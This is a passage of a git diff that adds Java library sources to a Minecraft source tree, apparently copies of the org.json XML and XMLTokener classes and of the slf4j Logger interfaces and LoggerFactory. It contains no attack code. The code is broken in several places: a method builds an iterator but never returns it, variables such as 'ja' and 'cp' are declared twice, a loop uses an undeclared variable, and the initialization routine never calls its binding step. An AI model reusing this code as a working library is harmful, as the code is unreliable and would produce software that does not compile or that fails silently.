+    throws JSONException
+  {
+    JSONObject jo = new JSONObject();
+    if ((properties != null) && (!properties.isEmpty())) {
+      Enumeration<?> enumProperties = properties.propertyNames();
+      while (enumProperties.hasMoreElements()) {
+        String name = (String)enumProperties.nextElement();
+        jo.put(name, properties.getProperty(name));
+      }
+    }
+    return jo;
+  }
+  
+
+
+
+
+  public static Properties toProperties(JSONObject jo)
+    throws JSONException
+  {
+    Properties properties = new Properties();
+    if (jo != null)
+    {
+      for (String key : jo.keySet()) {
+        Object value = jo.opt(key);
+        if (!JSONObject.NULL.equals(value)) {
+          properties.put(key, value.toString());
+        }
+      }
+    }
+    return properties;
+  }
+}
diff --git a/src/minecraft/org/json/XML.java b/src/minecraft/org/json/XML.java
new file mode 100644
index 0000000..c38565a
--- /dev/null
+++ b/src/minecraft/org/json/XML.java
@@ -0,0 +1,700 @@
+package org.json;
+
+import java.io.Reader;
+import java.io.StringReader;
+import java.util.Iterator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class XML
+{
+  public static final Character AMP = Character.valueOf('&');
+  
+
+  public static final Character APOS = Character.valueOf('\'');
+  
+
+  public static final Character BANG = Character.valueOf('!');
+  
+
+  public static final Character EQ = Character.valueOf('=');
+  
+
+  public static final Character GT = Character.valueOf('>');
+  
+
+  public static final Character LT = Character.valueOf('<');
+  
+
+  public static final Character QUEST = Character.valueOf('?');
+  
+
+  public static final Character QUOT = Character.valueOf('"');
+  
+
+  public static final Character SLASH = Character.valueOf('/');
+  
+
+
+
+
+  public XML() {}
+  
+
+
+
+
+  private static Iterable<Integer> codePointIterator(String string)
+  {
+    new Iterable()
+    {
+      public Iterator<Integer> iterator() {
+        new Iterator()
+        {
+          private int nextIndex;
+          private int length;
+          
+          public boolean hasNext() {
+            return nextIndex < length;
+          }
+          
+          public Integer next()
+          {
+            int result = val$string.codePointAt(nextIndex);
+            nextIndex += Character.charCount(result);
+            return Integer.valueOf(result);
+          }
+          
+          public void remove()
+          {
+            throw new UnsupportedOperationException();
+          }
+        };
+      }
+    };
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static String escape(String string)
+  {
+    StringBuilder sb = new StringBuilder(string.length());
+    for (Iterator localIterator = codePointIterator(string).iterator(); localIterator.hasNext();) { int cp = ((Integer)localIterator.next()).intValue();
+      switch (cp) {
+      case 38: 
+        sb.append("&amp;");
+        break;
+      case 60: 
+        sb.append("&lt;");
+        break;
+      case 62: 
+        sb.append("&gt;");
+        break;
+      case 34: 
+        sb.append("&quot;");
+        break;
+      case 39: 
+        sb.append("&apos;");
+        break;
+      default: 
+        if (mustEscape(cp)) {
+          sb.append("&#x");
+          sb.append(Integer.toHexString(cp));
+          sb.append(';');
+        } else {
+          sb.appendCodePoint(cp);
+        }
+        break; }
+    }
+    return sb.toString();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  private static boolean mustEscape(int cp)
+  {
+    if ((!Character.isISOControl(cp)) || 
+      (cp == 9) || 
+      (cp == 10) || 
+      (cp == 13))
+    {
+
+      if (((cp >= 32) && (cp <= 55295)) || 
+        ((cp >= 57344) && (cp <= 65533)) || (
+        (cp >= 65536) && (cp <= 1114111)))
+        return false; } return true;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static String unescape(String string)
+  {
+    StringBuilder sb = new StringBuilder(string.length());
+    int i = 0; for (int length = string.length(); i < length; i++) {
+      char c = string.charAt(i);
+      if (c == '&') {
+        int semic = string.indexOf(';', i);
+        if (semic > i) {
+          String entity = string.substring(i + 1, semic);
+          sb.append(XMLTokener.unescapeEntity(entity));
+          
+          i += entity.length() + 1;
+        }
+        else
+        {
+          sb.append(c);
+        }
+      }
+      else {
+        sb.append(c);
+      }
+    }
+    return sb.toString();
+  }
+  
+
+
+
+
+
+
+  public static void noSpace(String string)
+    throws JSONException
+  {
+    int length = string.length();
+    if (length == 0) {
+      throw new JSONException("Empty string.");
+    }
+    for (int i = 0; i < length; i++) {
+      if (Character.isWhitespace(string.charAt(i))) {
+        throw new JSONException("'" + string + 
+          "' contains a space character.");
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static boolean parse(XMLTokener x, JSONObject context, String name, boolean keepStrings)
+    throws JSONException
+  {
+    JSONObject jsonobject = null;
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+    Object token = x.nextToken();
+    
+
+
+    if (token == BANG) {
+      char c = x.next();
+      if (c == '-') {
+        if (x.next() == '-') {
+          x.skipPast("-->");
+          return false;
+        }
+        x.back();
+      } else if (c == '[') {
+        token = x.nextToken();
+        if (("CDATA".equals(token)) && 
+          (x.next() == '[')) {
+          String string = x.nextCDATA();
+          if (string.length() > 0) {
+            context.accumulate("content", string);
+          }
+          return false;
+        }
+        
+        throw x.syntaxError("Expected 'CDATA['");
+      }
+      int i = 1;
+      do {
+        token = x.nextMeta();
+        if (token == null)
+          throw x.syntaxError("Missing '>' after '<!'.");
+        if (token == LT) {
+          i++;
+        } else if (token == GT) {
+          i--;
+        }
+      } while (
+      
+
+
+
+
+
+
+
+        i > 0);
+      return false; }
+    if (token == QUEST)
+    {
+
+      x.skipPast("?>");
+      return false; }
+    if (token == SLASH)
+    {
+
+
+      token = x.nextToken();
+      if (name == null) {
+        throw x.syntaxError("Mismatched close tag " + token);
+      }
+      if (!token.equals(name)) {
+        throw x.syntaxError("Mismatched " + name + " and " + token);
+      }
+      if (x.nextToken() != GT) {
+        throw x.syntaxError("Misshaped close tag");
+      }
+      return true;
+    }
+    if ((token instanceof Character)) {
+      throw x.syntaxError("Misshaped tag");
+    }
+    
+
+
+    String tagName = (String)token;
+    token = null;
+    jsonobject = new JSONObject();
+    for (;;) {
+      if (token == null) {
+        token = x.nextToken();
+      }
+      
+      if (!(token instanceof String)) break;
+      String string = (String)token;
+      token = x.nextToken();
+      if (token == EQ) {
+        token = x.nextToken();
+        if (!(token instanceof String)) {
+          throw x.syntaxError("Missing value");
+        }
+        jsonobject.accumulate(string, 
+          keepStrings ? (String)token : stringToValue((String)token));
+        token = null;
+      } else {
+        jsonobject.accumulate(string, "");
+      }
+    }
+    
+    if (token == SLASH)
+    {
+      if (x.nextToken() != GT) {
+        throw x.syntaxError("Misshaped tag");
+      }
+      if (jsonobject.length() > 0) {
+        context.accumulate(tagName, jsonobject);
+      } else {
+        context.accumulate(tagName, "");
+      }
+      return false;
+    }
+    if (token == GT) {
+      do {
+        for (;;) {
+          token = x.nextContent();
+          if (token == null) {
+            if (tagName != null) {
+              throw x.syntaxError("Unclosed tag " + tagName);
+            }
+            return false; }
+          if (!(token instanceof String)) break;
+          String string = (String)token;
+          if (string.length() > 0) {
+            jsonobject.accumulate("content", 
+              keepStrings ? string : stringToValue(string));
+          }
+        }
+      } while ((token != LT) || 
+      
+        (!parse(x, jsonobject, tagName, keepStrings)));
+      if (jsonobject.length() == 0) {
+        context.accumulate(tagName, "");
+      } else if ((jsonobject.length() == 1) && 
+        (jsonobject.opt("content") != null)) {
+        context.accumulate(tagName, 
+          jsonobject.opt("content"));
+      } else {
+        context.accumulate(tagName, jsonobject);
+      }
+      return false;
+    }
+    
+
+
+    throw x.syntaxError("Misshaped tag");
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static Object stringToValue(String string)
+  {
+    if (string.equals("")) {
+      return string;
+    }
+    if (string.equalsIgnoreCase("true")) {
+      return Boolean.TRUE;
+    }
+    if (string.equalsIgnoreCase("false")) {
+      return Boolean.FALSE;
+    }
+    if (string.equalsIgnoreCase("null")) {
+      return JSONObject.NULL;
+    }
+    
+
+
+
+
+
+    char initial = string.charAt(0);
+    if (((initial >= '0') && (initial <= '9')) || (initial == '-'))
+    {
+      try
+      {
+        if ((string.indexOf('.') > -1) || (string.indexOf('e') > -1) || 
+          (string.indexOf('E') > -1) || ("-0".equals(string))) {
+          Double d = Double.valueOf(string);
+          if ((!d.isInfinite()) && (!d.isNaN())) {
+            return d;
+          }
+        } else {
+          Long myLong = Long.valueOf(string);
+          if (string.equals(myLong.toString())) {
+            if (myLong.longValue() == myLong.intValue()) {
+              return Integer.valueOf(myLong.intValue());
+            }
+            return myLong;
+          }
+        }
+      }
+      catch (Exception localException) {}
+    }
+    return string;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static JSONObject toJSONObject(String string)
+    throws JSONException
+  {
+    return toJSONObject(string, false);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static JSONObject toJSONObject(Reader reader)
+    throws JSONException
+  {
+    return toJSONObject(reader, false);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static JSONObject toJSONObject(Reader reader, boolean keepStrings)
+    throws JSONException
+  {
+    JSONObject jo = new JSONObject();
+    XMLTokener x = new XMLTokener(reader);
+    while (x.more()) {
+      x.skipPast("<");
+      if (x.more()) {
+        parse(x, jo, null, keepStrings);
+      }
+    }
+    return jo;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static JSONObject toJSONObject(String string, boolean keepStrings)
+    throws JSONException
+  {
+    return toJSONObject(new StringReader(string), keepStrings);
+  }
+  
+
+
+
+
+
+
+  public static String toString(Object object)
+    throws JSONException
+  {
+    return toString(object, null);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static String toString(Object object, String tagName)
+    throws JSONException
+  {
+    StringBuilder sb = new StringBuilder();
+    
+
+
+
+    if ((object instanceof JSONObject))
+    {
+
+      if (tagName != null) {
+        sb.append('<');
+        sb.append(tagName);
+        sb.append('>');
+      }
+      
+
+
+      JSONObject jo = (JSONObject)object;
+      for (String key : jo.keySet()) {
+        Object value = jo.opt(key);
+        if (value == null) {
+          value = "";
+        } else if (value.getClass().isArray()) {
+          value = new JSONArray(value);
+        }
+        
+
+        if ("content".equals(key)) {
+          if ((value instanceof JSONArray)) {
+            JSONArray ja = (JSONArray)value;
+            int jaLength = ja.length();
+            
+            for (int i = 0; i < jaLength; i++) {
+              if (i > 0) {
+                sb.append('\n');
+              }
+              Object val = ja.opt(i);
+              sb.append(escape(val.toString()));
+            }
+          } else {
+            sb.append(escape(value.toString()));
+          }
+          
+
+        }
+        else if ((value instanceof JSONArray)) {
+          JSONArray ja = (JSONArray)value;
+          int jaLength = ja.length();
+          
+          for (int i = 0; i < jaLength; i++) {
+            Object val = ja.opt(i);
+            if ((val instanceof JSONArray)) {
+              sb.append('<');
+              sb.append(key);
+              sb.append('>');
+              sb.append(toString(val));
+              sb.append("</");
+              sb.append(key);
+              sb.append('>');
+            } else {
+              sb.append(toString(val, key));
+            }
+          }
+        } else if ("".equals(value)) {
+          sb.append('<');
+          sb.append(key);
+          sb.append("/>");
+
+        }
+        else
+        {
+          sb.append(toString(value, key));
+        }
+      }
+      if (tagName != null)
+      {
+
+        sb.append("</");
+        sb.append(tagName);
+        sb.append('>');
+      }
+      return sb.toString();
+    }
+    
+
+    if ((object != null) && (((object instanceof JSONArray)) || (object.getClass().isArray()))) { JSONArray ja;
+      JSONArray ja; if (object.getClass().isArray()) {
+        ja = new JSONArray(object);
+      } else {
+        ja = (JSONArray)object;
+      }
+      int jaLength = ja.length();
+      
+      for (int i = 0; i < jaLength; i++) {
+        Object val = ja.opt(i);
+        
+
+
+        sb.append(toString(val, tagName == null ? "array" : tagName));
+      }
+      return sb.toString();
+    }
+    
+    String string = object == null ? "null" : escape(object.toString());
+    return 
+      "<" + tagName + 
+      ">" + string + "</" + tagName + ">";
+  }
+}
diff --git a/src/minecraft/org/json/XMLTokener.java b/src/minecraft/org/json/XMLTokener.java
new file mode 100644
index 0000000..7b112d5
--- /dev/null
+++ b/src/minecraft/org/json/XMLTokener.java
@@ -0,0 +1,407 @@
+package org.json;
+
+import java.io.Reader;
+import java.util.HashMap;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class XMLTokener
+  extends JSONTokener
+{
+  public static final HashMap<String, Character> entity = new HashMap(8);
+  static { entity.put("amp", XML.AMP);
+    entity.put("apos", XML.APOS);
+    entity.put("gt", XML.GT);
+    entity.put("lt", XML.LT);
+    entity.put("quot", XML.QUOT);
+  }
+  
+
+
+
+  public XMLTokener(Reader r)
+  {
+    super(r);
+  }
+  
+
+
+
+  public XMLTokener(String s)
+  {
+    super(s);
+  }
+  
+
+
+
+
+
+  public String nextCDATA()
+    throws JSONException
+  {
+    StringBuilder sb = new StringBuilder();
+    while (more()) {
+      char c = next();
+      sb.append(c);
+      int i = sb.length() - 3;
+      if ((i >= 0) && (sb.charAt(i) == ']') && 
+        (sb.charAt(i + 1) == ']') && (sb.charAt(i + 2) == '>')) {
+        sb.setLength(i);
+        return sb.toString();
+      }
+    }
+    throw syntaxError("Unclosed CDATA");
+  }
+  
+
+
+
+
+  public Object nextContent()
+    throws JSONException
+  {
+    char c;
+    
+
+
+
+    do
+    {
+      c = next();
+    } while (Character.isWhitespace(c));
+    if (c == 0) {
+      return null;
+    }
+    if (c == '<') {
+      return XML.LT;
+    }
+    StringBuilder sb = new StringBuilder();
+    for (;;) {
+      if (c == 0) {
+        return sb.toString().trim();
+      }
+      if (c == '<') {
+        back();
+        return sb.toString().trim();
+      }
+      if (c == '&') {
+        sb.append(nextEntity(c));
+      } else {
+        sb.append(c);
+      }
+      c = next();
+    }
+  }
+  
+
+
+
+
+
+
+  public Object nextEntity(char ampersand)
+    throws JSONException
+  {
+    StringBuilder sb = new StringBuilder();
+    char c;
+    for (;;) { c = next();
+      if ((!Character.isLetterOrDigit(c)) && (c != '#')) break;
+      sb.append(Character.toLowerCase(c)); }
+    if (c != ';')
+    {
+
+      throw syntaxError("Missing ';' in XML entity: &" + sb);
+    }
+    
+    String string = sb.toString();
+    return unescapeEntity(string);
+  }
+  
+
+
+
+
+
+  static String unescapeEntity(String e)
+  {
+    if ((e == null) || (e.isEmpty())) {
+      return "";
+    }
+    
+    if (e.charAt(0) == '#') { int cp;
+      int cp;
+      if (e.charAt(1) == 'x')
+      {
+        cp = Integer.parseInt(e.substring(2), 16);
+      }
+      else {
+        cp = Integer.parseInt(e.substring(1));
+      }
+      return new String(new int[] { cp }, 0, 1);
+    }
+    Character knownEntity = (Character)entity.get(e);
+    if (knownEntity == null)
+    {
+      return '&' + e + ';';
+    }
+    return knownEntity.toString();
+  }
+  
+
+
+
+
+  public Object nextMeta()
+    throws JSONException
+  {
+    char c;
+    
+
+
+
+    do
+    {
+      c = next();
+    } while (Character.isWhitespace(c));
+    switch (c) {
+    case '\000': 
+      throw syntaxError("Misshaped meta tag");
+    case '<': 
+      return XML.LT;
+    case '>': 
+      return XML.GT;
+    case '/': 
+      return XML.SLASH;
+    case '=': 
+      return XML.EQ;
+    case '!': 
+      return XML.BANG;
+    case '?': 
+      return XML.QUEST;
+    case '"': 
+    case '\'': 
+      char q = c;
+      do {
+        c = next();
+        if (c == 0) {
+          throw syntaxError("Unterminated string");
+        }
+      } while (c != q);
+      return Boolean.TRUE;
+    }
+    
+    for (;;)
+    {
+      c = next();
+      if (Character.isWhitespace(c)) {
+        return Boolean.TRUE;
+      }
+      switch (c) {
+      case '\000': 
+      case '!': 
+      case '"': 
+      case '\'': 
+      case '/': 
+      case '<': 
+      case '=': 
+      case '>': 
+      case '?': 
+        back();
+        return Boolean.TRUE;
+      }
+      
+    }
+  }
+  
+
+
+
+
+  public Object nextToken()
+    throws JSONException
+  {
+    char c;
+    
+
+
+
+    do
+    {
+      c = next();
+    } while (Character.isWhitespace(c));
+    switch (c) {
+    case '\000': 
+      throw syntaxError("Misshaped element");
+    case '<': 
+      throw syntaxError("Misplaced '<'");
+    case '>': 
+      return XML.GT;
+    case '/': 
+      return XML.SLASH;
+    case '=': 
+      return XML.EQ;
+    case '!': 
+      return XML.BANG;
+    case '?': 
+      return XML.QUEST;
+    
+
+
+    case '"': 
+    case '\'': 
+      char q = c;
+      StringBuilder sb = new StringBuilder();
+      for (;;) {
+        c = next();
+        if (c == 0) {
+          throw syntaxError("Unterminated string");
+        }
+        if (c == q) {
+          return sb.toString();
+        }
+        if (c == '&') {
+          sb.append(nextEntity(c));
+        } else {
+          sb.append(c);
+        }
+      }
+    }
+    
+    
+
+    StringBuilder sb = new StringBuilder();
+    for (;;) {
+      sb.append(c);
+      c = next();
+      if (Character.isWhitespace(c)) {
+        return sb.toString();
+      }
+      switch (c) {
+      case '\000': 
+        return sb.toString();
+      case '!': 
+      case '/': 
+      case '=': 
+      case '>': 
+      case '?': 
+      case '[': 
+      case ']': 
+        back();
+        return sb.toString();
+      case '"': 
+      case '\'': 
+      case '<': 
+        throw syntaxError("Bad character in a name");
+      }
+      
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public void skipPast(String to)
+  {
+    int offset = 0;
+    int length = to.length();
+    char[] circle = new char[length];
+    
+
+
+
+
+
+    for (int i = 0; i < length; i++) {
+      char c = next();
+      if (c == 0) {
+        return;
+      }
+      circle[i] = c;
+    }
+    
+
+    for (;;)
+    {
+      int j = offset;
+      boolean b = true;
+      
+
+
+      for (i = 0; i < length; i++) {
+        if (circle[j] != to.charAt(i)) {
+          b = false;
+          break;
+        }
+        j++;
+        if (j >= length) {
+          j -= length;
+        }
+      }
+      
+
+
+      if (b) {
+        return;
+      }
+      
+
+
+      char c = next();
+      if (c == 0) {
+        return;
+      }
+      
+
+
+
+      circle[offset] = c;
+      offset++;
+      if (offset >= length) {
+        offset -= length;
+      }
+    }
+  }
+}
diff --git a/src/minecraft/org/slf4j/ILoggerFactory.java b/src/minecraft/org/slf4j/ILoggerFactory.java
new file mode 100644
index 0000000..94a158b
--- /dev/null
+++ b/src/minecraft/org/slf4j/ILoggerFactory.java
@@ -0,0 +1,6 @@
+package org.slf4j;
+
+public abstract interface ILoggerFactory
+{
+  public abstract Logger getLogger(String paramString);
+}
diff --git a/src/minecraft/org/slf4j/IMarkerFactory.java b/src/minecraft/org/slf4j/IMarkerFactory.java
new file mode 100644
index 0000000..a8ccf71
--- /dev/null
+++ b/src/minecraft/org/slf4j/IMarkerFactory.java
@@ -0,0 +1,12 @@
+package org.slf4j;
+
+public abstract interface IMarkerFactory
+{
+  public abstract Marker getMarker(String paramString);
+  
+  public abstract boolean exists(String paramString);
+  
+  public abstract boolean detachMarker(String paramString);
+  
+  public abstract Marker getDetachedMarker(String paramString);
+}
diff --git a/src/minecraft/org/slf4j/Logger.java b/src/minecraft/org/slf4j/Logger.java
new file mode 100644
index 0000000..a507a84
--- /dev/null
+++ b/src/minecraft/org/slf4j/Logger.java
@@ -0,0 +1,128 @@
+package org.slf4j;
+
+public abstract interface Logger
+{
+  public static final String ROOT_LOGGER_NAME = "ROOT";
+  
+  public abstract String getName();
+  
+  public abstract boolean isTraceEnabled();
+  
+  public abstract void trace(String paramString);
+  
+  public abstract void trace(String paramString, Object paramObject);
+  
+  public abstract void trace(String paramString, Object paramObject1, Object paramObject2);
+  
+  public abstract void trace(String paramString, Object... paramVarArgs);
+  
+  public abstract void trace(String paramString, Throwable paramThrowable);
+  
+  public abstract boolean isTraceEnabled(Marker paramMarker);
+  
+  public abstract void trace(Marker paramMarker, String paramString);
+  
+  public abstract void trace(Marker paramMarker, String paramString, Object paramObject);
+  
+  public abstract void trace(Marker paramMarker, String paramString, Object paramObject1, Object paramObject2);
+  
+  public abstract void trace(Marker paramMarker, String paramString, Object... paramVarArgs);
+  
+  public abstract void trace(Marker paramMarker, String paramString, Throwable paramThrowable);
+  
+  public abstract boolean isDebugEnabled();
+  
+  public abstract void debug(String paramString);
+  
+  public abstract void debug(String paramString, Object paramObject);
+  
+  public abstract void debug(String paramString, Object paramObject1, Object paramObject2);
+  
+  public abstract void debug(String paramString, Object... paramVarArgs);
+  
+  public abstract void debug(String paramString, Throwable paramThrowable);
+  
+  public abstract boolean isDebugEnabled(Marker paramMarker);
+  
+  public abstract void debug(Marker paramMarker, String paramString);
+  
+  public abstract void debug(Marker paramMarker, String paramString, Object paramObject);
+  
+  public abstract void debug(Marker paramMarker, String paramString, Object paramObject1, Object paramObject2);
+  
+  public abstract void debug(Marker paramMarker, String paramString, Object... paramVarArgs);
+  
+  public abstract void debug(Marker paramMarker, String paramString, Throwable paramThrowable);
+  
+  public abstract boolean isInfoEnabled();
+  
+  public abstract void info(String paramString);
+  
+  public abstract void info(String paramString, Object paramObject);
+  
+  public abstract void info(String paramString, Object paramObject1, Object paramObject2);
+  
+  public abstract void info(String paramString, Object... paramVarArgs);
+  
+  public abstract void info(String paramString, Throwable paramThrowable);
+  
+  public abstract boolean isInfoEnabled(Marker paramMarker);
+  
+  public abstract void info(Marker paramMarker, String paramString);
+  
+  public abstract void info(Marker paramMarker, String paramString, Object paramObject);
+  
+  public abstract void info(Marker paramMarker, String paramString, Object paramObject1, Object paramObject2);
+  
+  public abstract void info(Marker paramMarker, String paramString, Object... paramVarArgs);
+  
+  public abstract void info(Marker paramMarker, String paramString, Throwable paramThrowable);
+  
+  public abstract boolean isWarnEnabled();
+  
+  public abstract void warn(String paramString);
+  
+  public abstract void warn(String paramString, Object paramObject);
+  
+  public abstract void warn(String paramString, Object... paramVarArgs);
+  
+  public abstract void warn(String paramString, Object paramObject1, Object paramObject2);
+  
+  public abstract void warn(String paramString, Throwable paramThrowable);
+  
+  public abstract boolean isWarnEnabled(Marker paramMarker);
+  
+  public abstract void warn(Marker paramMarker, String paramString);
+  
+  public abstract void warn(Marker paramMarker, String paramString, Object paramObject);
+  
+  public abstract void warn(Marker paramMarker, String paramString, Object paramObject1, Object paramObject2);
+  
+  public abstract void warn(Marker paramMarker, String paramString, Object... paramVarArgs);
+  
+  public abstract void warn(Marker paramMarker, String paramString, Throwable paramThrowable);
+  
+  public abstract boolean isErrorEnabled();
+  
+  public abstract void error(String paramString);
+  
+  public abstract void error(String paramString, Object paramObject);
+  
+  public abstract void error(String paramString, Object paramObject1, Object paramObject2);
+  
+  public abstract void error(String paramString, Object... paramVarArgs);
+  
+  public abstract void error(String paramString, Throwable paramThrowable);
+  
+  public abstract boolean isErrorEnabled(Marker paramMarker);
+  
+  public abstract void error(Marker paramMarker, String paramString);
+  
+  public abstract void error(Marker paramMarker, String paramString, Object paramObject);
+  
+  public abstract void error(Marker paramMarker, String paramString, Object paramObject1, Object paramObject2);
+  
+  public abstract void error(Marker paramMarker, String paramString, Object... paramVarArgs);
+  
+  public abstract void error(Marker paramMarker, String paramString, Throwable paramThrowable);
+}
diff --git a/src/minecraft/org/slf4j/LoggerFactory.java b/src/minecraft/org/slf4j/LoggerFactory.java
new file mode 100644
index 0000000..a453f95
--- /dev/null
+++ b/src/minecraft/org/slf4j/LoggerFactory.java
@@ -0,0 +1,318 @@
+package org.slf4j;
+
+import java.io.IOException;
+import java.net.URL;
+import java.util.Arrays;
+import java.util.Enumeration;
+import java.util.Iterator;
+import java.util.LinkedHashSet;
+import java.util.List;
+import java.util.Set;
+import org.slf4j.helpers.NOPLoggerFactory;
+import org.slf4j.helpers.SubstituteLogger;
+import org.slf4j.helpers.SubstituteLoggerFactory;
+import org.slf4j.helpers.Util;
+import org.slf4j.impl.StaticLoggerBinder;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class LoggerFactory
+{
+  static final String CODES_PREFIX = "http://www.slf4j.org/codes.html";
+  static final String NO_STATICLOGGERBINDER_URL = "http://www.slf4j.org/codes.html#StaticLoggerBinder";
+  static final String MULTIPLE_BINDINGS_URL = "http://www.slf4j.org/codes.html#multiple_bindings";
+  static final String NULL_LF_URL = "http://www.slf4j.org/codes.html#null_LF";
+  static final String VERSION_MISMATCH = "http://www.slf4j.org/codes.html#version_mismatch";
+  static final String SUBSTITUTE_LOGGER_URL = "http://www.slf4j.org/codes.html#substituteLogger";
+  static final String UNSUCCESSFUL_INIT_URL = "http://www.slf4j.org/codes.html#unsuccessfulInit";
+  static final String UNSUCCESSFUL_INIT_MSG = "org.slf4j.LoggerFactory could not be successfully initialized. See also http://www.slf4j.org/codes.html#unsuccessfulInit";
+  static final int UNINITIALIZED = 0;
+  static final int ONGOING_INITIALIZATION = 1;
+  static final int FAILED_INITIALIZATION = 2;
+  static final int SUCCESSFUL_INITIALIZATION = 3;
+  static final int NOP_FALLBACK_INITIALIZATION = 4;
+  static int INITIALIZATION_STATE = 0;
+  static SubstituteLoggerFactory TEMP_FACTORY = new SubstituteLoggerFactory();
+  static NOPLoggerFactory NOP_FALLBACK_FACTORY = new NOPLoggerFactory();
+  
+
+
+
+
+
+
+
+  private static final String[] API_COMPATIBILITY_LIST = { "1.6", "1.7" };
+  
+
+
+
+
+
+
+  private LoggerFactory() {}
+  
+
+
+
+
+
+
+  static void reset()
+  {
+    INITIALIZATION_STATE = 0;
+    TEMP_FACTORY = new SubstituteLoggerFactory();
+  }
+  
+  private static final void performInitialization() {
+    
+    if (INITIALIZATION_STATE == 3) {
+      versionSanityCheck();
+    }
+  }
+  
+  private static boolean messageContainsOrgSlf4jImplStaticLoggerBinder(String msg) {
+    if (msg == null)
+      return false;
+    if (msg.indexOf("org/slf4j/impl/StaticLoggerBinder") != -1)
+      return true;
+    if (msg.indexOf("org.slf4j.impl.StaticLoggerBinder") != -1)
+      return true;
+    return false;
+  }
+  
+  private static final void bind() {
+    try {
+      Set<URL> staticLoggerBinderPathSet = findPossibleStaticLoggerBinderPathSet();
+      reportMultipleBindingAmbiguity(staticLoggerBinderPathSet);
+      
+      StaticLoggerBinder.getSingleton();
+      INITIALIZATION_STATE = 3;
+      reportActualBinding(staticLoggerBinderPathSet);
+      fixSubstitutedLoggers();
+    } catch (NoClassDefFoundError ncde) {
+      String msg = ncde.getMessage();
+      if (messageContainsOrgSlf4jImplStaticLoggerBinder(msg)) {
+        INITIALIZATION_STATE = 4;
+        Util.report("Failed to load class \"org.slf4j.impl.StaticLoggerBinder\".");
+        Util.report("Defaulting to no-operation (NOP) logger implementation");
+        Util.report("See http://www.slf4j.org/codes.html#StaticLoggerBinder for further details.");
+      }
+      else {
+        failedBinding(ncde);
+        throw ncde;
+      }
+    } catch (NoSuchMethodError nsme) {
+      String msg = nsme.getMessage();
+      if ((msg != null) && (msg.indexOf("org.slf4j.impl.StaticLoggerBinder.getSingleton()") != -1)) {
+        INITIALIZATION_STATE = 2;
+        Util.report("slf4j-api 1.6.x (or later) is incompatible with this binding.");
+        Util.report("Your binding is version 1.5.5 or earlier.");
+        Util.report("Upgrade your binding to version 1.6.x.");
+      }
+      throw nsme;
+    } catch (Exception e) {
+      failedBinding(e);
+      throw new IllegalStateException("Unexpected initialization failure", e);
+    }
+  }
+  
+  static void failedBinding(Throwable t) {
+    INITIALIZATION_STATE = 2;
+    Util.report("Failed to instantiate SLF4J LoggerFactory", t);
+  }
+  
+  private static final void fixSubstitutedLoggers() {
+    List<SubstituteLogger> loggers = TEMP_FACTORY.getLoggers();
+    
+    if (loggers.isEmpty()) {
+      return;
+    }
+    
+    Util.report("The following set of substitute loggers may have been accessed");
+    Util.report("during the initialization phase. Logging calls during this");
+    Util.report("phase were not honored. However, subsequent logging calls to these");
+    Util.report("loggers will work as normally expected.");
+    Util.report("See also http://www.slf4j.org/codes.html#substituteLogger");
+    for (SubstituteLogger subLogger : loggers) {
+      subLogger.setDelegate(getLogger(subLogger.getName()));
+      Util.report(subLogger.getName());
+    }
+    
+    TEMP_FACTORY.clear();
+  }
+  
+  private static final void versionSanityCheck() {
+    try {
+      String requested = StaticLoggerBinder.REQUESTED_API_VERSION;
+      
+      boolean match = false;
+      for (int i = 0; i < API_COMPATIBILITY_LIST.length; i++) {
+        if (requested.startsWith(API_COMPATIBILITY_LIST[i])) {
+          match = true;
+        }
+      }
+      if (!match) {
+        Util.report("The requested version " + requested + " by your slf4j binding is not compatible with " + Arrays.asList(API_COMPATIBILITY_LIST).toString());
+        
+
+        Util.report("See http://www.slf4j.org/codes.html#version_mismatch for further details.");
+
+      }
+      
+
+    }
+    catch (NoSuchFieldError nsfe) {}catch (Throwable e)
+    {
+
+      Util.report("Unexpected problem occured during version sanity check", e);
+    }
+  }
+  
+
+
+  private static String STATIC_LOGGER_BINDER_PATH = "org/slf4j/impl/StaticLoggerBinder.class";
+  
+
+  private static Set<URL> findPossibleStaticLoggerBinderPathSet()
+  {
+    Set<URL> staticLoggerBinderPathSet = new LinkedHashSet();
+    try {
+      ClassLoader loggerFactoryClassLoader = LoggerFactory.class.getClassLoader();
+      Enumeration<URL> paths;
+      Enumeration<URL> paths;
+      if (loggerFactoryClassLoader == null) {
+        paths = ClassLoader.getSystemResources(STATIC_LOGGER_BINDER_PATH);
+      } else {
+        paths = loggerFactoryClassLoader.getResources(STATIC_LOGGER_BINDER_PATH);
+      }
+      
+      while (paths.hasMoreElements()) {
+        URL path = (URL)paths.nextElement();
+        staticLoggerBinderPathSet.add(path);
+      }
+    } catch (IOException ioe) {
+      Util.report("Error getting resources from path", ioe);
+    }
+    return staticLoggerBinderPathSet;
+  }
+  
+  private static boolean isAmbiguousStaticLoggerBinderPathSet(Set<URL> staticLoggerBinderPathSet) {
+    return staticLoggerBinderPathSet.size() > 1;
+  }
+  
+
+
+
+
+  private static void reportMultipleBindingAmbiguity(Set<URL> staticLoggerBinderPathSet)
+  {
+    if (isAmbiguousStaticLoggerBinderPathSet(staticLoggerBinderPathSet)) {
+      Util.report("Class path contains multiple SLF4J bindings.");
+      Iterator<URL> iterator = staticLoggerBinderPathSet.iterator();
+      while (iterator.hasNext()) {
+        URL path = (URL)iterator.next();
